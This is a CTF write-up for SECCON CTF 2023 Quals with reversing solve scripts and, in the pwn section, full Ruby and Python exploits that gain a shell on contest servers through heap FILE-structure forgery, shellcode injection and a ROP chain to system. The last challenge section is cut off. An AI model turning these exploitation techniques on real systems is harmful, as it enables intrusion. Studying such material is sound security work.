---
# System prepended metadata

title: SECCON CTF 2023 Quals

---

[toc]

# SECCON CTF 2023 Quals Writeup

## Misc

### readme 2023
/proc/self/syscallに記載されたアドレスからflag.txtがマップされたアドレスの差分が0xe9f83

/proc/self/syscallを読み、0xe9f83を足したアドレスのファイルを /proc/self/map_files/ から読むことでflagが出てくる。

```
b'0 0x7 0x55fd3b6a06b0 0x400 0x2 0x0 0x0 0x7fffacc82708 0x7f379397507d\n'
7f379397507d + 0xe9f83
->
/proc/self/map_files/7f3793a5f000-7f3793a60000
```

SECCON{y3t_4n0th3r_pr0cf5_tr1ck:)}

## Rev
### jumpout

0x4010と0x4030のデータを比べると、どちらも長さ28バイトの配列であり、さらにそれぞれの上位ビットのパターンが一致しているため、この二つと何かしらをXORすることでflagが得られると推測した。
アドレス0x1430の処理から0x55とXORしていることが推測できる。

```
.text:0000000000001430 sub_1430        proc near               ; DATA XREF: sub_1360+3A↑o
.text:0000000000001430                 endbr64
.text:0000000000001434                 mov     rcx, [rsp+rax*8+0]
.text:0000000000001438                 add     edx, 1
.text:000000000000143B                 xor     r8d, 55h
.text:000000000000143F                 lea     eax, [rdx-1]
.text:0000000000001442                 jmp     rcx
.text:0000000000001442 sub_1430        endp
.text:0000000000001442
```

ここで、二つのデータと0x55をXORして見たところ以下のデータが得られた。
```
b'SDA@KK}m}dzTxllcuNweqgo`p|h~a'
```
このデータの先頭7バイトと'SECCON{'という文字列をXORすると、`b'\x00\x01\x02\x03\x04\x05\x06'`というバイト列が得られた。
このことから、二つのデータと0x55に加えて先頭から0, 1, 2, ...とXORすることでflagが得られる。

```python=
d1 = bytearray([0xF6, 0xF5, 0x31, 0xC8, 0x81, 0x15, 0x14, 0x68, 0xF6, 0x35, 0xE5, 0x3E, 0x82, 0x09, 0xCA, 0xF1, 0x8A, 0xA9, 0xDF, 0xDF, 0x33, 0x2A, 0x6D, 0x81, 0xF5, 0xA6, 0x85, 0xDF, 0x17])
d2 = bytearray([0xF0, 0xE4, 0x25, 0xDD, 0x9F, 0x0B, 0x3C, 0x50, 0xDE, 0x04, 0xCA, 0x3F, 0xAF, 0x30, 0xF3, 0xC7, 0xAA, 0xB2, 0xFD, 0xEF, 0x17, 0x18, 0x57, 0xB4, 0xD0, 0x8F, 0xB8, 0xF4, 0x23])

flag = ''
for i in range(len(d1)):
    flag += chr(d1[i] ^ d2[i] ^ i ^ 0x55)
print(flag)
```

```
SECCON{jump_table_everywhere}
```

### optinimize

Using included debug symbols recover two functions that are using `https://github.com/nim-lang/bigints/tree/master` library:

```python=
def pisot_number(x):
    BIG0 = 0
    BIG2 = 2
    BIG3 = 3
    while x > 2:
            TMP = BIG3 + BIG0
            BIG3 = BIG0
            BIG0 = BIG2
            BIG2 = TMP
            x -= 1
    return BIG2

def nthprime_slow(x):
    STATE = 0
    i = 0
    while i < x:
        STATE += 1
        tmp = pisot_number(STATE)
        res = tmp % STATE
        if res == 0:
            i += 1
    return STATE
```

Identify that `nthprime_slow` is not exactly Nth Prime and gets shifted as input gets bigger.

Use Perrin pseudoprimes to calculate expected shift:
https://oeis.org/search?q=3%2C2%2C5%2C5%2C7%2C10%2C12%2C17%2C22%2C29%2C39%2C51%2C68%2C90%2C119%2C158%2C209&language=english&go=Search

```python=
from primesieve import *

perrin_primes = [271441, 904631, 16532714, 24658561, 27422714, 27664033, 46672291, 102690901, 130944133, 196075949, 214038533, 517697641, 545670533, 801123451, 855073301, 903136901, 970355431, 1091327579, 1133818561, 1235188597, 1389675541, 1502682721, 2059739221, 2304156469, 2976407809, 3273820903]

ENC = [
    0x3C, 0xF4, 0x1A, 0xD0, 0x8A, 0x17, 0x7C, 0x4C, 0xDF, 0x21,
    0xDF, 0xB0, 0x12, 0xB8, 0x4E, 0xFA, 0xD9, 0x2D, 0x66, 0xFA,
    0xD4, 0x95, 0xF0, 0x66, 0x6D, 0xCE, 0x69, 0x00, 0x7D, 0x95,
    0xEA, 0xD9, 0x0A, 0xEB, 0x27, 0x63, 0x75, 0x11, 0x37, 0xD4
]

KEY = [
    0x4A, 0x55, 0x6F, 0x79, 0x80, 0x95, 0x0AE, 0x0BF,
    0x0C7, 0x0D5, 0x306, 0x1AC8, 0x24BA, 0x3D00, 0x4301, 0x5626,
    0x6AD9, 0x7103, 0x901B, 0x9E03, 0x1E5FB6, 0x26F764, 0x30BD9E, 0x407678,
    0x5B173B, 0x6FE3B1, 0x78EF25, 0x858E5F, 0x98C639, 0x0AD6AF6, 0x1080096, 0x18E08CD,
    0x1BB6107, 0x1F50FF1, 0x25C6327, 0x2A971B6, 0x2D68493, 0x362F0C0, 0x3788EAD, 0x3CAA8ED
]

def main():
    flag = bytearray(len(ENC))
    for i in range(len(ENC)):
        val = nth_prime(KEY[i]-1)
        print(sum([1 for x in perrin_primes if x < val]))
        val = nth_prime(KEY[i]-1-sum([1 for x in perrin_primes if x < val]))
        flag[i] = (val & 0xff) ^ ENC[i]
        print(flag)

if __name__ == '__main__':
    main()
```

Flag: `SECCON{3b4297373223a58ccf3dc06a6102846f}`

### Sickle

Inside picked buffer, we can change `\x07builtin` `\x03int` to our local type and intercept which values are passed to it.
Using this info, we can recover logic behind flag decryption.
It will include XOR + POW + __EQ__ operations on 8byte parts of the flag.
For POW we would also need to find modular inverse.

```
def pow(a1, a2, a4):
    print('pow', a1, a2, a4, builtins.pow(a1, a2, a4))
    return builtins.pow(a1, a2, a4)

payload = payload.replace(b'\x08builtins\x8c\x03pow', b'\x07problem\x8c\x03pow')
```

```
import builtins
import pickle, io
import gmpy2

N = 18446744073709551557
D = int(gmpy2.invert(65537, N - 1))

flag = b''
flag += ((pow(8215359690687096682, D, N)) ^ 1244422970072434993).to_bytes(8, 'little')
flag += ((pow(1862662588367509514, D, N)) ^ 8215359690687096682).to_bytes(8, 'little')
flag += ((pow(8350772864914849965, D, N)) ^ 1862662588367509514).to_bytes(8, 'little')
flag += ((pow(11616510986494699232, D, N)) ^ 8350772864914849965).to_bytes(8, 'little')
flag += ((pow(3711648467207374797, D, N)) ^ 11616510986494699232).to_bytes(8, 'little')
flag += ((pow(9722127090168848805, D, N)) ^ 3711648467207374797).to_bytes(8, 'little')
flag += ((pow(16780197523811627561, D, N)) ^ 9722127090168848805).to_bytes(8, 'little')
flag += ((pow(18138828537077112905, D, N)) ^ 16780197523811627561).to_bytes(8, 'little')

print(flag)
```

Flag: `SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode??}`

### xuyao

暗号化のような処理が行われている。gdbscriptを用いて各関数の入出力をtraceした。traceおよびdisasmをもとに、バイナリと同じ動作をするpythonスクリプトを作成した。

```python=
rol = lambda val, r_bits, max_bits: \
    (val << r_bits%max_bits) & (2**max_bits-1) | \
    ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

ror = lambda val, r_bits, max_bits: \
    ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
    (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))


rol32 = lambda val, r_bits: rol(val, r_bits, 32)
ror32 = lambda val, r_bits: ror(val, r_bits, 32)

SBOX = [
    0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
    0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
    0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
    0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
    0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
    0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
    0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
    0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
    0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
    0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
    0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
    0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
    0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
    0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
    0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
    0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16
]

enc = b''.join([
    b'\xFE\x60\xA8\xC0\x3B\xFE\xBC\x66\xFC\x9A\x9B\x31\x9A\xD8\x03\xBB\xA9\xE1\x56\xFC\xFC\x11\x9F\x89\x5F\x4D\x9F\xE0\x9F\xAE\x2A\xCF',
    b'\x5E\x73\xCB\xEC\x3F\xFF\xB9\xD1\x99\x44\x1B\x9A\x79\x79\xEC\xD1\xB4\xFD\xEA\x2B\xE2\xF1\x1A\x70\x76\x3C\x2E\x7F\x3F\x3B\x7B\x66',
    b'\xA3\x4B\x1B\x5C\x0F\xBE\xDD\x98\x5A\x5B\xD0\x0A\x3D\x7E\x2C\x10\x56\x2A\x10\x87\x5D\xD9\xB9\x7F\x3E\x2E\x86\xB7\x17\x04\xDF\xB1',
    b'\x27\xC4\x47\xE2\xD9\x7A\x9A\x48\x7C\xDB\xC6\x1D\x3C\x00\xA3\x21'])

KEY = [
    0xf6067814, 0xed73cb7e, 0x1583a8b2, 0x0dde8d93, 0x23e2374b, 0x40b83c72, 0x0b3f811a, 0xd6e7a993,
    0x2622de7c, 0xc581dcae, 0xa906524c, 0xdb4f2cc1, 0x0ddb3477, 0x8c1a92a4, 0x3bd711c0, 0x1bb16503,
    0x00acd720, 0x2735f2d0, 0x9a9300fe, 0xfb2556a7, 0xcbe1fe58, 0xc03db8c9, 0xf77cb701, 0x0a1f85ae,
    0x14dd27dc, 0xe1a5e3a9, 0x41d1f9ee, 0xfe6afce7, 0xd80eac32, 0xf43efead, 0x6475d80f, 0x38a310d6
]

def tnls(val):
    res = 0
    res |= SBOX[(val >> 0x00) & 0xff] << 0x00
    res |= SBOX[(val >> 0x08) & 0xff] << 0x08
    res |= SBOX[(val >> 0x10) & 0xff] << 0x10
    res |= SBOX[(val >> 0x18) & 0xff] << 0x18
    return res

def els(v1):
    tmp = v1
    tmp ^= rol32(v1, 3)
    tmp ^= rol32(v1, 14)
    tmp ^= rol32(v1, 15)
    tmp ^= rol32(v1, 9)
    return tmp
    
def es(v1):
    tmp = tnls(v1)
    return els(tmp)

def test():
    d = [0x30313233, 0x34353637, 0x38396162, 0x63646566]
    for i in range(32):
        tmp = 0
        for x in range(1, 4):
            tmp ^= d[x]
        tmp ^= KEY[i]
        v1 = es(tmp)
        d[0] ^= v1
        d = d[1:] + d[:1]
    print(list(map(hex, d)))


def main():
    test()

if __name__ == '__main__':
    main()
```

このスクリプトをもとにflagを復元するスクリプトを作成した。

```python=
from pwn import p32, u32

rol = lambda val, r_bits, max_bits: \
    (val << r_bits%max_bits) & (2**max_bits-1) | \
    ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

ror = lambda val, r_bits, max_bits: \
    ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
    (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))


rol32 = lambda val, r_bits: rol(val, r_bits, 32)
ror32 = lambda val, r_bits: ror(val, r_bits, 32)

SBOX = [
    0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
    0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
    0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
    0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
    0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
    0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
    0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
    0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
    0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
    0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
    0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
    0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
    0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
    0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
    0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
    0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16
]

enc = b''.join([
    b'\xFE\x60\xA8\xC0\x3B\xFE\xBC\x66\xFC\x9A\x9B\x31\x9A\xD8\x03\xBB\xA9\xE1\x56\xFC\xFC\x11\x9F\x89\x5F\x4D\x9F\xE0\x9F\xAE\x2A\xCF',
    b'\x5E\x73\xCB\xEC\x3F\xFF\xB9\xD1\x99\x44\x1B\x9A\x79\x79\xEC\xD1\xB4\xFD\xEA\x2B\xE2\xF1\x1A\x70\x76\x3C\x2E\x7F\x3F\x3B\x7B\x66',
    b'\xA3\x4B\x1B\x5C\x0F\xBE\xDD\x98\x5A\x5B\xD0\x0A\x3D\x7E\x2C\x10\x56\x2A\x10\x87\x5D\xD9\xB9\x7F\x3E\x2E\x86\xB7\x17\x04\xDF\xB1',
    b'\x27\xC4\x47\xE2\xD9\x7A\x9A\x48\x7C\xDB\xC6\x1D\x3C\x00\xA3\x21'])

KEY = [
    0xf6067814, 0xed73cb7e, 0x1583a8b2, 0x0dde8d93, 0x23e2374b, 0x40b83c72, 0x0b3f811a, 0xd6e7a993,
    0x2622de7c, 0xc581dcae, 0xa906524c, 0xdb4f2cc1, 0x0ddb3477, 0x8c1a92a4, 0x3bd711c0, 0x1bb16503,
    0x00acd720, 0x2735f2d0, 0x9a9300fe, 0xfb2556a7, 0xcbe1fe58, 0xc03db8c9, 0xf77cb701, 0x0a1f85ae,
    0x14dd27dc, 0xe1a5e3a9, 0x41d1f9ee, 0xfe6afce7, 0xd80eac32, 0xf43efead, 0x6475d80f, 0x38a310d6
]

def tnls(val):
    res = 0
    res |= SBOX[(val >> 0x00) & 0xff] << 0x00
    res |= SBOX[(val >> 0x08) & 0xff] << 0x08
    res |= SBOX[(val >> 0x10) & 0xff] << 0x10
    res |= SBOX[(val >> 0x18) & 0xff] << 0x18
    return res

def els(v1):
    tmp = v1
    tmp ^= rol32(v1, 3)
    tmp ^= rol32(v1, 14)
    tmp ^= rol32(v1, 15)
    tmp ^= rol32(v1, 9)
    return tmp
    
def es(v1):
    tmp = tnls(v1)
    return els(tmp)

def test():
    d = [0x30313233, 0x34353637, 0x38396162, 0x63646566]
    for i in range(32):
        tmp = 0
        for x in range(1, 4):
            tmp ^= d[x]
        tmp ^= KEY[i]
        v1 = es(tmp)
        d[0] ^= v1
        d = d[1:] + d[:1]
    print(list(map(hex, d)))

def test_dec():
    d = [0xfc46586d, 0x46363d11, 0xf84bee2a, 0xb51a3b07]
    for i in range(31, -1, -1):
        d = d[-1:] + d[:-1]
        tmp = 0
        for x in range(1, 4):
            tmp ^= d[x]
        tmp ^= KEY[i]
        v1 = es(tmp)
        d[0] ^= v1
    print(list(map(hex, d)))

def decrypt_block(d):
    assert(len(d) == 4)
    d = list(d)
    for i in range(31, -1, -1):
        d = d[-1:] + d[:-1]
        tmp = 0
        for x in range(1, 4):
            tmp ^= d[x]
        tmp ^= KEY[i]
        v1 = es(tmp)
        d[0] ^= v1
    return d

def solve():
    enc_arr = [
        u32(enc[i:i+4], endianness='big') for i in range(0, len(enc), 4)
    ]
    flag = b''
    for i in range(0, len(enc_arr), 4):
        flag += b''.join([p32(b, endianness='big') for b in decrypt_block(enc_arr[i:i+4][::-1])])
    print(flag)


def main():
    solve()

if __name__ == '__main__':
    main()

```

```
b'Congratulations! You have decrypted the flag: SECCON{x86_he2_zhuan1_you3_zi4_jie2_ma3_de_hun4he2}\n\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
```

### Perfect Blu

Extract ISO file -> open it as BlueRay folder in VideoLan
Press buttons in flag checker -> in ProcMon see how VideoLan reads different files in STREAM folder.
Identify that in order to obtain flag we need to get files to be read in order 00000.xxx -> 00001.xxx -> 00002.xxx
For automation use clicker-bruteforce script:
ProcMon output redirected to `procmon_output.PML`

```
import os
import time

import win32api, win32con

alpha = '1234567890QWERTYUIOPASDFGHJKL{ZXCVBNM_-}'
poses = [
    [233, 462], [332, 462], [435, 466],
    [514, 474], [616, 467], [699, 468],
    [804, 471], [885, 468], [973, 472],
    [1051, 472], [250, 545], [332, 548],
    [413, 550], [523, 550], [617, 554],
    [705, 555], [788, 557], [883, 557],
    [978, 556], [1055, 558], [259, 646],
    [323, 637], [435, 640], [502, 640],
    [630, 646], [701, 648], [786, 649],
    [876, 644], [960, 640], [1056, 642],
    [252, 741], [338, 737], [420, 731],
    [495, 731], [611, 734], [709, 727],
    [790, 726], [875, 736], [973, 727], 
    [1050, 732]
]

#while True:
#    ox, oy = win32api.GetCursorPos()
#    print(ox, oy)
#    input('next?')


def click(x, y):
    win32api.SetCursorPos((x, y))
    win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, x, y, 0, 0)
    win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, x, y, 0, 0)

flag = ''

expected = 1
while True:
    for i in range(0, len(poses)):
        click(86, 1018) # VideoLAN stop
        time.sleep(0.2) 
        click(21, 1019) # VideoLAN play
        time.sleep(1)
        click(poses[i][0], poses[i][1])
        time.sleep(1)
        with open(r'.\procmon_output.PML', 'rb') as fp:
            if fp.read().find(b'%05i.' % expected) != -1:
                os.remove(r'.\BDMV\PLAYLIST\00000.mpls')
                os.rename(r'.\BDMV\PLAYLIST\%05i.mpls' % expected,
                          r'.\BDMV\PLAYLIST\00000.mpls')
                flag += alpha[i]
                expected += 1
                print(expected, alpha[i], flag)
                break
```

Flag: `SECCON{JWBH-58EL-QWRL-CLSW-UFRI-XUY3-YHKK-KFBV}`

## Pwn
### blackout
`letter_blackout`関数内の`memmem`の戻り値が32bit幅になってしまうので、0x100000000バイト分のチャンクを確保した後に`letter_blackout`関数を実行すると意図しないアドレスへの書き込みが行われる
```ruby=
#coding:ascii-8bit
require "pwnlib"  # https://github.com/Charo-IT/pwnlib

class PwnTube
  def recv_until_prompt
    recv_until("> ")
  end
end

class Exploit
  attr_reader :tube, :host, :port
  attr_reader :offset, :got, :libc_offset

  def initialize(remote)
    @remote = remote
    if remote?
      @host, @port = "blackout.seccon.games 9999".split
    else
      @host = "localhost"
      @port = 11111
    end
    @port = @port&.to_i
    @libc_offset = {
      "main_arena" => 0x219c80,
      "system" => 0x50d60,
      "stderr" => 0x21a6a0,
      "_IO_wfile_jumps" => 0x2160c0,
    }

    @offset = {
    }

    @got = {
    }
  end

  def remote?
    @remote
  end

  def write(index, size, data)
    tube.recv_until_prompt
    tube.sendline("1")
    tube.recv_until("Index: ")
    tube.sendline("#{index}")
    tube.recv_until("Size: ")
    tube.sendline("#{size}")
    tube.recv_until("String: ")
    tube.send(data)
  end

  def blackout(index, word)
    tube.recv_until_prompt
    tube.sendline("2")
    tube.recv_until("Index: ")
    tube.sendline("#{index}")
    tube.recv_until("Word to redact: ")
    tube.send(word)
  end

  def discard(index)
    tube.recv_until_prompt
    tube.sendline("3")
    tube.recv_until("Index: ")
    tube.sendline("#{index}")
  end

  def run
    PwnTube.open(host, port){|t|
      @tube = t

      puts "[*] heap spray"
      write(0, 0xfff7, "hoge\n")
      0xfffe.times{|i|
        print "0x%x\r" % i if i % 0x10 == 0
        write(i < 6 ? (i + 1) : 6, 0xfff7, "system\n")
      }
      write(7, 0xeff7, "hoge\n")
      write(7, 0x1ff7, "A" * 0xff8 + "AAB\n")
      puts

      puts "[*] overwrite chunk size"
      blackout(7, "B\n")

      puts "[*] free victim chunk"
      discard(0)

      puts "[*] leak libc base"
      write(0, 0xfff7, "hoge\n")
      blackout(1, "114514\n")
      libc_base = tube.recv_capture(/\[Redacted\]\n(.{6})\n/m)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["main_arena"] - 0x60
      puts "libc base = 0x%x" % libc_base

      puts "[*] leak heap base"
      write(2, 5, "hoge\n")
      write(3, 5, "hoge\n")
      discard(3)
      discard(2)
      blackout(1, "114514\n")
      heap_base = tube.recv_capture(/\[Redacted\]\n(.{3,4})\n/m)[0].ljust(8, "\0").unpack("Q")[0].tap{|a|
        b = (a ^ 0x2c0)
        break ((b ^ (b >> 12)) >> 12 << 12) ^ 0x2c0
      } - 0x102c0
      puts "heap base = 0x%x" % heap_base

      puts "[*] overwrite tcache list"
      write(2, 0xffb7, "hoge\n")  # 偽チャンクの後ろのチャンクのinuse bitを復活させる
      0x28.times{
        write(2, 0xfff7, "hoge\n")
      }
      blackout(7, "B\n")
      discard(0)
      payload = ""  # heap_base + 0x2a0
      payload << "".ljust(0xe0, "\x00").tap{|a|  # fake FILE structure
        a[0, 16] = "  /bin/sh".ljust(16, "\x00")
        a[0xc0, 8] = [-1].pack("Q")  # mode
        a[0x28, 8] = [1].pack("Q")  # _IO_write_ptr
        a[0xd8, 8] = [libc_base + libc_offset["_IO_wfile_jumps"]].pack("Q")  # vtable
        a[0xa0, 8] = [heap_base + 0x2a0 + 0xe0].pack("Q")  # _wide_data
      }
      payload << "".ljust(0xe8, "\x00").tap{|a|  # fake _wide_data structure
        a[0xe0, 8] = [heap_base + 0x2a0 + 0xe0 + 0xe8 - 0x68].pack("Q")  # _wide_vtable
      }
      payload << [libc_base + libc_offset["system"]].pack("Q")
      # payload << [0xdeadbeef].pack("Q")
      write(2, 0xfef7, payload + "\n")
      payload = ""
      payload << "\x00" * 0xf0
      payload << [0, 0x21].pack("Q*")
      payload << [(libc_base + libc_offset["stderr"] + 0x68 - 8) ^ ((heap_base + 0x102a0) >> 12)].pack("Q*")
      write(3, 0x4f7, payload + "\n")

      puts "[*] overwrite stderr->_chain"
      write(4, 5, "hoge\n")
      write(4, 0x17, "\x00" * 8 + [heap_base + 0x2a0].pack("Q") + "\n")

      puts "[*] launch shell"
      tube.recv_until_prompt
      tube.sendline("114514")

      tube.interactive
    }
  end
end

Exploit.new(ARGV[0] == "r").run
```
flag: `SECCON{D0n't_f0Rg3T_fuNcT10n_d3cL4r4T10n}`

### umemo
`free_space`で操作できる領域の中に`memo`が含まれている
```ruby=
#coding:ascii-8bit
require "pwnlib"  # https://github.com/Charo-IT/pwnlib

class PwnTube
  def recv_until_prompt
    recv_until("> ")
  end
end

class String
  def tty_safe?
    self !~ /[\x03\x04\x11\x13\x15\x1a\x1c\x7f]/  # こっちから送る文字列にこれらの文字が入っているとバグる
  end
end

class Exploit
  attr_reader :tube, :host, :port
  attr_reader :offset, :got, :libc_offset

  def initialize(remote)
    @remote = remote
    if remote?
      @host, @port = "ukqmemo.seccon.games 6318".split
    else
      @host = "localhost"
      @port = 11111
    end
    @port = @port&.to_i
    @libc_offset = {
      "environ" => 0x185160
    }

    @offset = {
    }

    @got = {
    }
  end

  def remote?
    @remote
  end

  def fixed_memo
    tube.recv_until_prompt
    tube.sendline("1")
  end

  def freespace
    tube.recv_until_prompt
    tube.sendline("2")
  end

  def fixed_memo_read(index)
    tube.recv_until_prompt
    tube.sendline("1")
    tube.recv_until("Index: ")
    tube.sendline("#{index}")
  end

  def fixed_memo_write(index, data)
    tube.recv_until_prompt
    tube.sendline("2")
    tube.recv_until("Index: ")
    tube.sendline("#{index}")
    tube.recv_until("Input: ")
    tube.send(data)
  end

  def free_memo_read(offset, size)
    tube.recv_until_prompt
    tube.sendline("1")
    tube.recv_until("Offset: ")
    tube.sendline("#{offset}")
    tube.recv_until("Size: ")
    tube.sendline("#{size}")
  end

  def free_memo_write(offset, size, data)
    tube.recv_until_prompt
    tube.sendline("2")
    tube.recv_until("Offset: ")
    tube.sendline("#{offset}")
    tube.recv_until("Size: ")
    tube.sendline("#{size}")
    tube.recv_until("Input: ")
    tube.send(data)
  end

  def back_to_menu
    tube.recv_until_prompt
    tube.sendline("3")
  end

  def solve_pow
    cmd = tube.recv_until(/hashcash .+\n/m)
    puts cmd
    result = `#{cmd}`
    puts result
    tube.send(result)
  end

  def run
    PwnTube.open(host, port){|t|
      @tube = t

      solve_pow if remote?

      tube.recv_until("buildroot login: ")
      tube.sendline("ctf")

      puts "[*] leak mapped address"
      freespace
      free_memo_read(0x40000000 - 0x1000 - 8, 0x10)
      mapped = tube.recv_capture(/Output: \x00{8}(.{8})/m)[0].unpack("Q")[0] - 0x100
      libc_base = mapped + 0x3000
      puts "mapped = 0x%x" % mapped
      puts "libc base = 0x%x" % libc_base

      puts "[*] leak stack address"
      payload = ""
      payload << "\x00" * 8
      payload << [libc_base + libc_offset["environ"]].pack("Q")[0, 5]
      raise unless payload.tty_safe?
      free_memo_write(0x40000000 - 0x1000 - 8, 0x10, payload + "\x04")
      back_to_menu
      fixed_memo
      fixed_memo_read(0)
      environ = tube.recv_capture(/Output: (.{6})/m)[0].ljust(8, "\0").unpack("Q")[0]
      puts "environ = 0x%x" % environ

      puts "[*] send shellcode"
      back_to_menu
      freespace
      payload = ""
      payload << "\x00" * 8
      payload << [environ].pack("Q")[0, 5]
      raise unless payload.tty_safe?
      free_memo_write(0x40000000 - 0x1000 - 8, 0x10, payload + "\x04")
      back_to_menu
      fixed_memo
      payload = ""
      payload << PwnLib.shellcode_x86_64
      raise unless payload.tty_safe?
      fixed_memo_write(0, payload + "\x04")

      puts "[*] overwrite return address"
      back_to_menu
      freespace
      payload = ""
      payload << "\x00" * 8
      payload << [environ - 0x128].pack("Q")[0, 5]
      raise unless payload.tty_safe?
      free_memo_write(0x40000000 - 0x1000 - 8, 0x10, payload + "\x04")
      back_to_menu
      fixed_memo
      payload = ""
      payload << [environ].pack("Q")[0, 5]
      raise unless payload.tty_safe?
      fixed_memo_write(0, payload + "\x04")

      tube.interactive
    }
  end
end

Exploit.new(ARGV[0] == "r").run
```
flag: `SECCON{k3rn3l_bug5_5p1ll_0v3r_1n70_u53r_pr0gr4m5}`

### rop-2.35
```python=
#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])  # open new window

# libc = ELF('')
binary = './chall'
elf = ELF(binary)
context(os='linux', arch=elf.arch)
# context(log_level='debug')  # output verbose log

RHOST = "rop-2-35.seccon.games"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 21700

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    gdbscript = """
    set follow-fork-mode parent
    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug([binary], gdbscript=gdbscript)
else:
    conn = process([binary])
    # conn = process([binary], env={'LD_PRELOAD': ''})
    if opt == 'a': gdb.attach(conn)

# exploit
log.info('Pwning')


payload = b'x'*0x18
payload += p64(0x401060) # gets
payload += p64(0x401050) # system
conn.sendline(payload)

payload = b'sh\x00'*0x100
conn.sendline(payload)

conn.interactive()
```
### datastore1
```python=
#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
